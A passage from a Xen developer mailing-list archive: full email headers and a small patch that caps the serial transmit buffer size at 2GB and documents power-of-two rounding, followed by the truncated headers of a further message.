	7Yi29IubT5x+7k+8VSzxLyOJnnxLLgwHMEWx1ESl49q8OBejSddCs+Xt0z0cZWIA
	ofJjcrpwWS6siHVweif9ly7iZ3THKY11CDUgDazDhhXpf8sG5IiISaZyDVHTIYjg
	skQ==
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=KxJjirFVZqA2udzz/dsgxCV72Mph1aCsz8aCKLe3LnlfyHpYNSPavfrDcRHGP8QcdV3ji8K45SSjlWoBqR2GQu9wG78BaJ7V3omMECAT1/xK4ydIfN9C4BBOL3eK6eqwhisrKIqiDXy8nOKpqAQbeLUdtEqlhsivbpaLnRGrr2WIt5ktsh0icmRMH7C5ExtyH/f5cCln+dIAtaDf/iZqq5ZVuMK1Vs0Y84P8/18S+Wf+Mq4tCSagy3jt97yxr8qhOlB3rQ+Tunn9azuwEzPtOD9mqXOBbR0+0cZm3UMwZDwPOz4vfxAR0Hkv2nArgMfeDFOr5qcPPw9OtcIXp1bGuA==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=oOT85RKKWjGhkhbuQtaAN75IZgB45d1wpAc2pCHqaKk=;
 b=LB7EPdQMb1U9WZxmjYFsOe4cvvnEVj/cB/XXi9ZXDoe+O1vy4Vy3Mo6g4pUtPQNad5ZTJ2cyWubZF/8rtWIT1oq6/PmIKX6VcerQsCaYHOLqt9Y21NUyFYdmjOnBryBmzlOjT9sNL7PHN/Ey1TL8Jzxt4AMBwxgEy9sMvQbU6ttwtRgfGhZPt5zYyARuZtHcAitXusmYTQQzp+cXtItdX82Pck32wCa9x09G6lwZTwH8uV8B/ni8MYlx8g4P6fRlbSl1U/uYnFtvLt7V/ptRb465KkIWuQwaPPFGcc0CgmVfhFOgL8bgwHro4VN8jnxO+V5Qr+ql2AFKj+DSc2UIbA==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass (sender ip is
 148.163.138.245) smtp.rcpttodomain=lists.xenproject.org
 smtp.mailfrom=ford.com; dmarc=pass (p=reject sp=reject pct=100) action=none
 header.from=ford.com; dkim=pass (signature was verified)
 header.d=saarlouis.ford.com; dkim=pass (signature was verified)
 header.d=ford.com; arc=none (0)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=azureford.onmicrosoft.com; s=selector2-azureford-onmicrosoft-com;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=oOT85RKKWjGhkhbuQtaAN75IZgB45d1wpAc2pCHqaKk=;
 b=QN155A/rn8zzr4ehn27b89J53ypGa4qK0gkqUVS3ySYxd5WHv1RPp9jX2hL+C8CS3PnNlKFIW3zJCy9h1sx1jMIArkqwYmc7JT5+SYSnWYu3U4JYeCNhkkfkDJzus2rgsArehdWaU2bm2lva1jxb+paRBI0h/UPQV5i+SUh+GPU=
X-MS-Exchange-Authentication-Results: spf=pass (sender IP is 148.163.138.245)
 smtp.mailfrom=ford.com; dkim=pass (signature was verified)
 header.d=saarlouis.ford.com;dkim=pass (signature was verified)
 header.d=ford.com;dmarc=pass action=none header.from=ford.com;
Received-SPF: Pass (protection.outlook.com: domain of ford.com designates
 148.163.138.245 as permitted sender) receiver=protection.outlook.com;
 client-ip=148.163.138.245; helo=mx0b-00498f04.pphosted.com; pr=C
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=
	saarlouis.ford.com; h=cc:content-transfer-encoding:date:from
	:in-reply-to:message-id:mime-version:references:subject:to; s=
	ppserprodsaar; bh=oOT85RKKWjGhkhbuQtaAN75IZgB45d1wpAc2pCHqaKk=; b=
	OGXlE1y92RKi3YNStOqGYdLte0m6/IRdWLnZhXXDI/mjsWvX1qNTf+TZm2AMSZgu
	3W7RzFQEyzDb8TXUMWyqY2mFjvsZuLs/DeCTC7ogWuijzRvHLcnf9eJhKp83egPq
	gk9ojsgOlBXsVIDqfKj/jyh3wvuS1mMxd+Ky/SWVnLaPdHj0V0lzA2f5z/lGz0wY
	baRZ7+MSKed+AXtcZ73xnQ4F3be70Qr26EAFIqbkpBqgO5T/SfLNJ5sRWSz/IZZ2
	THRK0aGYa/FRvSCD/C9NSycHTOBaxr9j8jB4bl1BaA354NxwDb0V6CSihJ/5vg/k
	npFNJUdchn6P9yfzVC799A==
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=ford.com; h=cc
	:content-transfer-encoding:date:from:in-reply-to:message-id
	:mime-version:references:subject:to; s=ppfserpocford; bh=oOT85RK
	KWjGhkhbuQtaAN75IZgB45d1wpAc2pCHqaKk=; b=PDhTjVa490xLy34gTjgYFzt
	MuF4tQldaQ/vxDgddBrW/mVY8Z+NKjW6dijM+GcSuxS9vT8DNYtbJX8BZeRV5H/A
	i4VlVFgWkNz7ynSHmSD7ECH+MZT88CgAUczuTpl2ERyfZtHwDWZ9LxPvNRUcr3e3
	qGbTkfFKnm5Og5IbEPVTNUqzWJuZ2a3+rLfP2ZXyqWkjJ49Jfbxyx/T+qA2kjcU+
	b8XXrlVG3mPbg2sJ17Fgovwp9gTkEqZwk4PPDGSc4vHFZrYW/SdnXemPcgrvXfM0
	f0HguQ0/J8kdGqTAqt9XMYlOq/VJyFW5LP+E71HFWj/kusigL6CgJXTAFUtrYSA=
	=
X-Mailer: SER-76bead168636dc6ed1c9e51ce4dea80dbdd4163750742b614a4d871e565792b7
X-Cloudmark-MID: obeywuJbpERZKobezwQkAy
X-Proofpoint-CID: eb09f7eb-2dc2-34ab-a188-7b293c1db1fe
From: dmukhin@ford.com
To: xen-devel@lists.xenproject.org
Cc: andrew.cooper3@citrix.com, anthony.perard@vates.tech, jbeulich@suse.com,
        julien@xen.org, michal.orzel@amd.com, roger.pau@citrix.com,
        sstabellini@kernel.org, dmukhin@ford.com
Subject: [PATCH v8 6/7] xen/serial: harden serial_tx_buffer checks
Date: Mon, 27 Jul 2026 23:50:48 -0700
Message-ID: <20260728065049.1318143-7-dmukhin@ford.com>
X-Mailer: git-send-email 2.54.0
In-Reply-To: <20260728065049.1318143-1-dmukhin@ford.com>
References: <20260728065049.1318143-1-dmukhin@ford.com>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
PSER-M365-App: SER-APP
X-Proofpoint-Virus-Version: vendor=baseguard
 engine=ICAP:2.0.293,Aquarius:18.0.1143,Hydra:6.1.134,FMLib:17.12.100.49
 definitions=2026-07-28_01,2026-07-27_01,2025-10-01_01
X-Proofpoint-Spam-Details: rule=notspam policy=default score=0 malwarescore=0
 bulkscore=0 suspectscore=0 lowpriorityscore=0 adultscore=0 phishscore=0
 spamscore=0 classifier=typeunknown authscore=0 authtc= authcc= route=outbound
 adjust=0 reason=mlx scancount=1 engine=8.22.0-2606150000
 definitions=main-2607280060
X-EOPAttributedMessage: 0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: SJ5PEPF00000206:EE_|SA0PR16MB3871:EE_
Content-Type: text/plain
X-MS-Office365-Filtering-Correlation-Id: abbbd726-c69b-4209-5112-08deec74a889
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|36860700016|376014|1800799024|23010399003|82310400026|6133799003|10067099003|56012099006|11063799006|18002099003|22082099003;
X-Microsoft-Antispam-Message-Info:
	ULynf9Vm/bjTCyT0/JZTthhuMWH1kpprxoyBfjGGY0dOvHflcCeRk7wAvRqMsEJW9gUhDo0H2iRLdLa7x0NItar7X9+CrGGIljZWz/twcZKOLtxI5ztptgSARD3EED8Nb95XioGwi2pxLeivHhkHQ4KHG+ecilcWR/FJESqRHJICXVk28wcaDuHugGIbWN8yz1YTrzPGuv4e7yBoaYeUwLl8GxNoYnR63bTHymrHV0u4VTVhr1TmTtvIjx3hdkzRyiBj3LqAjMZ0RAHTRPvxzg4ByJKcb50T9iD4HIX7phLW1TfHO2UvIAaTk7yKaWpKA6H3aQh6HzYpeeo6zlVZV+HaCWIC5I4HoVcPQG6polu7DS1rmHVZx51GXOn2MwbaBDfxvxkXWFyXnsqCf0rdRK5Czy9+Ydhu5NlOFjBoeTvMYjiRBpqiP2Wi96qno6t2qS/AUSXNVOcaHPGdoYcpz2itBHS26XxvasOk0FOPbpdfmAPil9P+Ro35+qeXyHU0Y9J2w7/tvJglF88UfcQ0GdBX/zUfo9E/cILLLWpF9qtvo8ZHpS/+ETJLemnBHhvULJwDdPxp7WxXqIHcoXU0e4nUWhGnzoB4OlNuWOKxJ6i7N4Z7fKpfOE2YYm2FVbJb5inuIEI+swnMHmVfDaBoe0OVhqhxCTF1JZOSqLIADKoDV5M8gbq59tu/NdWLbY2FlUXPzIwrDku9wGO6CT/bUw==
X-Forefront-Antispam-Report:
	CIP:148.163.138.245;CTRY:US;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:mx0b-00498f04.pphosted.com;PTR:mx0b-00498f04.pphosted.com;CAT:NONE;SFS:(13230040)(36860700016)(376014)(1800799024)(23010399003)(82310400026)(6133799003)(10067099003)(56012099006)(11063799006)(18002099003)(22082099003);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	BhQp4ucjLeQY6ocRjkUOAnJwhuF/SHL5BynDYKv43mVV7vo+AKepPvCKAiZEb7BY30POKL2IN1bHYBEyM5wYgOrhuVe/m+sP0KV2E+2efEdeqQp1LI2DTWeAnEb0n0Q7OjWM+J2TVnv24IfCu/ZL8DSpgLUkEWO6x7FYGmM//Oa++TwJnkizsOeEMmBAkYzosNy8aGWvjVCWMeTO4XzkiWRPhu06uwKUow741x1PekmWbdtwYKZFWHgCzFFPyd17AX3YA25y+yMVCYwEI4R26vSiYGlgfUsCiDiZdmCAjbUA/UyUJhEZFSxRlANlwbWmv8H7rGFQRqXSNKuv/+wVEZpMOhANo7WVAulwroe56yfz2zWFPocxTmQkE25S9mYh1u9N5du5nrccd4ULFPIKzPBvruZIRyZHmQ1ROPclT99SRU0W31+d+peEnPLam1am
X-Exchange-RoutingPolicyChecked:
	MddEcUW5OJvywa/7dzQyL93LQRwZYMTwqtcnuTJeOUUdnP+iUUnwp12008BIKOmGBo5Rts4NMuR1TfvOmvNPl6BAWjbdekKctQQPjiZLqIcGSmtMeLEpxdJKa0LRLb0o7BRI67pVTDk/C0DAxvQDEaxxfjDaRrYCKdonSnJC9GUQ7Iy738WltMGfSgbWCkMHILzdXjVjWjJE9p/fVzfUG1P+/jrcIZOTmYZbZK5kYLSGEdq78Sqe73+ZyrXatnhhgNEylhCIx4XvXKOQMN4nPnKGpL/poRvP2ag2G1ktBiIgUJHbrTfpXkYNn/mSV4siCHaVb459irbSOWfLlPJePg==
X-MS-Exchange-AntiSpam-ExternalHop-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-ExternalHop-MessageData-0:
	SYrNbshshMO627MJc1TFhglZ719iQvEWU8IRoKj/Ez+guRBw4EG1tYHiEKKnpx01RL2mH6F62AbljRwW7D2fdq/+x61mUFF0i5WLSt73k+Syr46QhNZC8dTacF4ljIZ6fNDVpoIASbtPYUL/8R+nIHkH5ugp6rykTwE7hzkNHGCLxd1NlfAMbIpl+A6B0e9x7SVgwnTzuOlaJ6Ei23d9/30fMd/O6p9g6QKGjBncbreV4xluqE8Z8uXWtjegryhB2fOhaeAFydPGIq7G8RCUN0LF6xqA42XLmKi4MSsdfdcdUTHdriIe4TcKXt0mysd0N0TGbjniMPmJ1kJBQec27DHXOg8chDrWxUe383uh1tJK6KQCfZibixg2MLyxDX4QvawlJEyubaRUq3OKDi8q9HN5K0xluPbLeSTgTObFiJPa+sDt3ZgPqJ/bhUvWlARHBaYcx6+oi/6NBlhupvS9yAy+7TVvvSXPKSdsNkWrvQKE3Tmap47+ePymL7rJjK1Uwsimi9/fpysALR3gh8ND5oSX2xhmv+umXrQZHo7dhQvUWKbs7K4SO1D3u1Vnj5dRBIaGsPNB1jIu0TaZf9GbJGSBKjLCVdIkqAWxpx9fX5dYxBS/zyZ5MehIELWm9Ga0AngHEKSUvoyds+0JI7pQcA==
X-OriginatorOrg: ford.com
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 28 Jul 2026 06:51:31.8480
 (UTC)
X-MS-Exchange-CrossTenant-Network-Message-Id: abbbd726-c69b-4209-5112-08deec74a889
X-MS-Exchange-CrossTenant-Id: c990bb7a-51f4-439b-bd36-9c07fb1041c0
X-MS-Exchange-CrossTenant-OriginalAttributedTenantConnectingIp: TenantId=c990bb7a-51f4-439b-bd36-9c07fb1041c0;Ip=[148.163.138.245];Helo=[mx0b-00498f04.pphosted.com]
X-MS-Exchange-CrossTenant-AuthSource:
	SJ5PEPF00000206.namprd05.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Anonymous
X-MS-Exchange-CrossTenant-FromEntityHeader: HybridOnPrem
X-MS-Exchange-Transport-CrossTenantHeadersStamped: SA0PR16MB3871
X-Proofpoint-ORIG-GUID: iN7Ie-5aOfWuDBL4T4-hxc8E4Eq0oH0C
X-Proofpoint-Spam-Info: AW1haW4tMjYwNzI4MDA2MCBTYWx0ZWRfX4tDWtFFonYre
 l2r6EfZv2wYA4m/Ou+7YSbRbAu0U++Y8l14NbLXgDsyHsdoR/1mZlEZh44f3m4rsp29I+zp8wVX
 VqibeSqpIuCV+9AA2/kT9p+TQU7eD7L7UEYBP+GwGIGrxnXe6YCK
X-Proofpoint-Spam-Details-Enc: AW1haW4tMjYwNzI4MDA2MCBTYWx0ZWRfX4ea7+a6hZtLi
 l2uTh5guPpj4B+sxyIL+PJ4N7E0TO0NIiZFIdAVxobRxmvke0xhLNOcQM7Z6dy8aKQt/B3CJDiu
 CE02aoClmBGJXeLgFW9KWo+39AZyXwahYbrH1cwqPHje28rNmqDpWxoiglQLQrQgarWiWCpx+y7
 an1SZ/0PV8dja9e9aR3SuaR9idOR/Jt30j6elmye+htRlv5hsIY7mz0654X8kouP/N0/1YQ0D4N
 kw2nNdLAWhovoK3375g7RfCgsDil3y0ZCRxiYQtO2TrN16Z7wJ62XP4XmBd+Ti+K0ZI/4c5jttI
 Q0pyCS49wGBQ389r1AUBaxjhTMHloF+nfzVzfeWDoiNtf26Y9+x/Wwy7aFRsrj3ORmi7ej6twRE
 GiVk+J4xj156RH+gTORKTv7tpZfL5kmKZYYvWS2GVdn7xDk5k+cJLOFudgc7/Fkd/jfp/CIbN3b
 SMXDwqcZys1+xXCHo6A==
X-Authority-Analysis: v=2.4 cv=X9xi7mTe c=1 sm=1 tr=0 ts=6a685177 cx=c_pps
 a=JPuSXJPnATmcGobPKBfcew==:117 a=b7IhknPlfT0FN1EembXvig==:17
 a=6eWqkTHjU83fiwn7nKZWdM+Sl24=:19 a=RAioF0-LDSMA:10 a=3PXLN80vpJUA:10
 a=6NUGLSImWEsA:10 a=w9pew1qAHqMA:10 a=VkNPw1HP01LnGYTKEx00:22
 a=P_n1zlmtWsCQbjROFjcg:22 a=NvsXeTrgx-CJMFV-xl94:22 a=VwQbUJbxAAAA:8
 a=iox4zFpeAAAA:8 a=cbNQJ9GKAAAA:8 a=sEGBgOXDICq9IEtvUCIA:9
 a=G69WFyCBNqGPyalROSdv:22 a=WzC6qhA0u3u7Ye7llzcV:22
X-Proofpoint-GUID: iN7Ie-5aOfWuDBL4T4-hxc8E4Eq0oH0C
X-Proofpoint-Virus-Version: vendor=baseguard
 engine=ICAP:2.0.293,Aquarius:18.0.1143,Hydra:6.1.134,FMLib:17.12.100.49
 definitions=2026-07-28_01,2026-07-27_01,2025-10-01_01
X-Proofpoint-Spam-Details: rule=notspam policy=default score=0 adultscore=0
 impostorscore=0 priorityscore=1501 suspectscore=0 phishscore=0 spamscore=0
 bulkscore=0 lowpriorityscore=0 malwarescore=0 clxscore=1015
 classifier=typeunknown authscore=0 authtc= authcc= route=outbound adjust=0
 reason=mlx scancount=1 engine=8.22.0-2606150000 definitions=main-2607280060
X-purgate-ID: tlsNG-720697/1785221497-F36BF2AC-AE2B67C9/0/0
X-purgate-type: clean
X-purgate-size: 1697

From: Denis Mukhin <dmukhin@ford.com> 

Ensure the user-defined value never crosses 2GB boundary and always
rounded to the next power of 2 to align logic with console driver
conring buffer management code.

Signed-off-by: Denis Mukhin <dmukhin@ford.com>
---
Changes since v7:
- addressed Jan's feedback:
  https://lore.kernel.org/xen-devel/89029dbd-df1f-45d4-8a02-720cd6a42cab@suse.com/
- kept only check for large buffer in serial_async_transmit()
  and a doc update.
---
 docs/misc/xen-command-line.pandoc | 2 ++
 xen/drivers/char/serial.c         | 2 ++
 2 files changed, 4 insertions(+)

diff --git a/docs/misc/xen-command-line.pandoc b/docs/misc/xen-command-line.pandoc
index 1c711fa98086..2be8772b329a 100644
--- a/docs/misc/xen-command-line.pandoc
+++ b/docs/misc/xen-command-line.pandoc
@@ -2396,6 +2396,8 @@ accidentally leaking secrets by releasing pages without proper sanitization.
 
 Set the serial transmit buffer size.
 
+The value provided will be rounded down to the nearest power of 2.
+
 ### serrors (ARM)
 > `= diverse | panic`
 
diff --git a/xen/drivers/char/serial.c b/xen/drivers/char/serial.c
index cf0abf1893e5..ba1647309ab8 100644
--- a/xen/drivers/char/serial.c
+++ b/xen/drivers/char/serial.c
@@ -523,6 +523,8 @@ void __init serial_async_transmit(struct serial_port *port)
         return;
     if ( serial_txbufsz < PAGE_SIZE )
         serial_txbufsz = PAGE_SIZE;
+    if ( serial_txbufsz > GB(2) )
+        serial_txbufsz = CONFIG_SERIAL_TX_BUFSIZE;
     while ( serial_txbufsz & (serial_txbufsz - 1) )
         serial_txbufsz &= serial_txbufsz - 1;
     port->txbuf = xvmalloc_array(char, serial_txbufsz);
-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Tue Jul 28 06:51:46 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 06:51:46 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1372106.1619550 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wobfG-0003rq-6d; Tue, 28 Jul 2026 06:51:46 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1372106.1619550; Tue, 28 Jul 2026 06:51:46 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wobfG-0003rg-11; Tue, 28 Jul 2026 06:51:46 +0000
Received: by outflank-mailman (input) for mailman id 1372106;
 Tue, 28 Jul 2026 06:51:44 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <dmukhin@ford.com>) id 1wobfE-0003nH-AQ
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 06:51:44 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wobfD-005tq3-N5
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 08:51:43 +0200
Received: from [10.42.69.10] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <dmukhin@ford.com>)
 id 6a68517b-5cb7-0a2a0a5109dd-0a2a450a8d82-10
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 08:51:43 +0200
Received: from [148.163.143.241] (helo=mx0b-00498f03.pphosted.com)
 by tlsNG-4011c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <dmukhin@ford.com>)
 id 6a68517e-f2d2-0a2a450a0019-94a38ff12b42-3
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 08:51:43 +0200
Received: from pps.filterd (m0367128.ppops.net [127.0.0.1])
 by mx0b-00498f03.pphosted.com (8.18.1.11/8.18.1.11) with ESMTP id
 66S3ZlNQ390173
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 06:51:42 GMT
Received: from bn8pr05cu002.outbound.protection.outlook.com
 (mail-eastus2azon11011000.outbound.protection.outlook.com [52.101.57.0])
 by mx0b-00498f03.pphosted.com (PPS) with ESMTPS id 4fpeyfb8mr-1
 (version=TLSv1.3 cipher=TLS_AES_256_GCM_SHA384 bits=256 verify=NOT)
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 06:51:41 +0000 (GMT)
Received: from MW4P220CA0011.NAMP220.PROD.OUTLOOK.COM (2603:10b6:303:115::16)
 by SA1PR16MB4780.namprd16.prod.outlook.com (2603:10b6:806:23c::8)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.245.13; Tue, 28 Jul
 2026 06:51:36 +0000
Received: from MWH0EPF000C618B.namprd02.prod.outlook.com
 (2603:10b6:303:115:cafe::19) by MW4P220CA0011.outlook.office365.com
 (2603:10b6:303:115::16) with Microsoft SMTP Server (version=TLS1_3,
 cipher=TLS_AES_256_GCM_SHA384) id 15.21.245.12 via Frontend Transport; Tue,
 28 Jul 2026 06:51:36 +0000
Received: from mx0b-00498f04.pphosted.com (148.163.138.245) by
 MWH0EPF000C618B.mail.protection.outlook.com (10.167.249.123) with Microsoft
 SMTP Server (version=TLS1_3, cipher=TLS_AES_256_GCM_SHA384) id 15.21.270.5
 via Frontend Transport; Tue, 28 Jul 2026 06:51:35 +0000
Received: from pps.filterd (m0426316.ppops.net [127.0.0.1])
 by mx0b-00498f04.pphosted.com (8.18.1.11/8.18.1.11) with ESMTP id
 66S6oC29280076
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 02:51:34 -0400
Received: from smtp-us.ser.proofpoint.com (pmta-usw.ser.proofpoint.com
 [50.112.124.217])
 by mx0b-00498f04.pphosted.com (PPS) with ESMTPS id 4fnc6atkht-1
 (version=TLSv1.3 cipher=TLS_AES_128_GCM_SHA256 bits=128 verify=NOT)
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 02:51:34 -0400 (EDT)
Received: from localhost ([19.12.76.221]) by cmsmtp with ESMTPSA
 id obf1wNtvkqFVlobf1wxghJ; Tue, 28 Jul 2026 06:51:33 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=ppford header.d=ford.com header.i="@ford.com" header.h="Cc:Content-Transfer-Encoding:Content-Type:Date:From:In-Reply-To:Message-ID:MIME-Version:References:Subject:To"; dkim=pass header.s=selector2-azureford-onmicrosoft-com header.d=azureford.onmicrosoft.com header.i="@azureford.onmicrosoft.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"; dkim=pass header.s=ppserprodsaar header.d=saarlouis.ford.com header.i="@saarlouis.ford.com" header.h="Cc:Content-Transfer-Encoding:Date:From:In-Reply-To:Message-ID:MIME-Version:References:Subject:To"; dkim=pass header.s=ppfserpocford header.d=ford.com header.i="@ford.com" header.h="Cc:Content-Transfer-Encoding:Date:From:In-Reply-To:Message-ID:MIME-Version:References:Subject:To"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=ford.com; h=cc
	:content-transfer-encoding:content-type:date:from:in-reply-to
	:message-id:mime-version:references:subject:to; s=ppford; bh=z6x
	z1OGTIsaO9Uk4cXlRWKmNgbnZI7Dx6iS56GDmiv8=; b=DvoQHVlsu87oMz3uO02
	bGJx7GlL8pbAB8AML7gRmTAJA8awcapS5Qwd6HQcMob5ZNUWqGFlC+0R+8NGIQtw
	4ni20NNXhz5k7AxBq4aIlzGB7Dq26LVEFwHNmmPefVME7GWTcSZuJBod+DUiGLqI
	wZTk28lTpofNvDpM/3h/Bw96qKZvZu7ipYxnE1PjoKENb6ggxQz4RUFQ1cMkJ66d
	JDAVZqxL//vEJa669NRYRtT8lDdcKcXVbel7z1ScQIFnRL1r/+VESQQDZmX6FOMx
	X9b9vavGSHgDj4hGIaNKqx7kdLPlFAsuPa7EXWxHLRtDUHqTu3EkviAlhIOkXEDW
	LkA==
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=A9GLmvihldLTqlr+fXX7f7vOc5GsysjniICBDztsRCW0MCTime0i37moHyMosqkBZ4M3LqXaFIwpNerCidYjvH9J/Ir/CnsYJCt97IwMzr8fJhIVIRg1Jy/uTXArrPV89b+d4tRu64VBZczu/Kr55oQeioOdQ+fHoiaKkolzM860DI60kdxt3dVXpTAioa+vZcblpw7SlmCywmeA+cIhURQWsoFO/pdepUwVkxXQZ1/A0OTXVdL4E0PhbyzxZyJgYWIIUjh6muK0qbH9CSVJS1tS6XCs1x6NVsQV+2/na4urDk4wK+D8WWbs2IXkrQXTvExAHZCE1AvOR62jfd8kbg==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=z6xz1OGTIsaO9Uk4cXlRWKmNgbnZI7Dx6iS56GDmiv8=;
 b=yrDCIupC/uxmk9QNB77/Lx8xoRjAUBkU6wLh1Ekf67zXpa6iWnH36Fr6VdcuMCYANZzufvQ8lBgzVeZ1qEhvxUyqeIsA70VNRXVOh8Nse05awMloubmToQB9yAbTdZmFCpG2qDSDR+mT/qWpFLwC63MzHM85ZXBDmLDqXMe4JV1QtId3itcB+B+kPBOwYERoEpqPdjdSIpjFHUssergkKNSqtTLlHgTjsVklxEoRc3vfWilrZhBbdmiDVv5zA8j7bUoDzofPFjOfjYic9bHvGKHGVMDvC5ojAFFkudUeDHftAno6OyZm/q+xFUttmtem59WeDosMK0ekWLjJH6L4Wg==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass (sender ip is
 148.163.138.245) smtp.rcpttodomain=lists.xenproject.org
 smtp.mailfrom=ford.com; dmarc=pass (p=reject sp=reject pct=100) action=none
 header.from=ford.com; dkim=pass (signature was verified)
 header.d=saarlouis.ford.com; dkim=pass (signature was verified)
 header.d=ford.com; arc=none (0)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=azureford.onmicrosoft.com; s=selector2-azureford-onmicrosoft-com;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=z6xz1OGTIsaO9Uk4cXlRWKmNgbnZI7Dx6iS56GDmiv8=;
 b=gYC81LdiKj7Wa1zV+rMvqbqRnoUlkgybTZTmgWMHXdKWjp+2zEt21fQ+VOSUK/m7R1Zq8pNhybSWOshTXD/4byqBqM0zkMNfdW1KL08uCsBx4VDx9zqtBEYviLlXo2jZngUjLvtq14XqueX51ltkT4jPbY/Hcf0xCGgRXDoW+yM=
X-MS-Exchange-Authentication-Results: spf=pass (sender IP is 148.163.138.245)
 smtp.mailfrom=ford.com; dkim=pass (signature was verified)
 header.d=saarlouis.ford.com;dkim=pass (signature was verified)
 header.d=ford.com;dmarc=pass action=none header.from=ford.com;
Received-SPF: Pass (protection.outlook.com: domain of ford.com designates
 148.163.138.245 as permitted sender) receiver=protection.outlook.com;
 client-ip=148.163.138.245; helo=mx0b-00498f04.pphosted.com; pr=C
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=
	saarlouis.ford.com; h=cc:content-transfer-encoding:date:from
	:in-reply-to:message-id:mime-version:references:subject:to; s=
	ppserprodsaar; bh=z6xz1OGTIsaO9Uk4cXlRWKmNgbnZI7Dx6iS56GDmiv8=; b=
	ZtMycYViPxMwf2vBPlMkoayisAgoVt6EcAQm+9DwarlNoompPbfKi2MAEwT0VShl
	rDEcNcirmOZ5shUrU5bDclhjvgG7tfW+HwAfn+I73M2IKNfR6rzzeC7yLl5hvwZP
	ZslBxm/QNgQE8ktfxg+H45rhVGrxEPVD9pvj0K3N+hWk6oxZvwXJeZiiejAJeH4k
	SXwnenhosB2k1CH3354ptjCMJMr4hI5NjScG+EkxBVMMtybm5tJVL++LyPWYWxkf
	LuTJRVYWgp2ADkEtV9UiGQzka4I9qi1C+URHy+ue2G58TrEfJQt1/0+vkjc8SXmy
	lWQjGdgrTBpPuS80C4XYig==
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=ford.com; h=cc
	:content-transfer-encoding:date:from:in-reply-to:message-id
	:mime-version:references:subject:to; s=ppfserpocford; bh=z6xz1OG
	TIsaO9Uk4cXlRWKmNgbnZI7Dx6iS56GDmiv8=; b=OPmgbsyVrHnt/gl8P5uaEKE
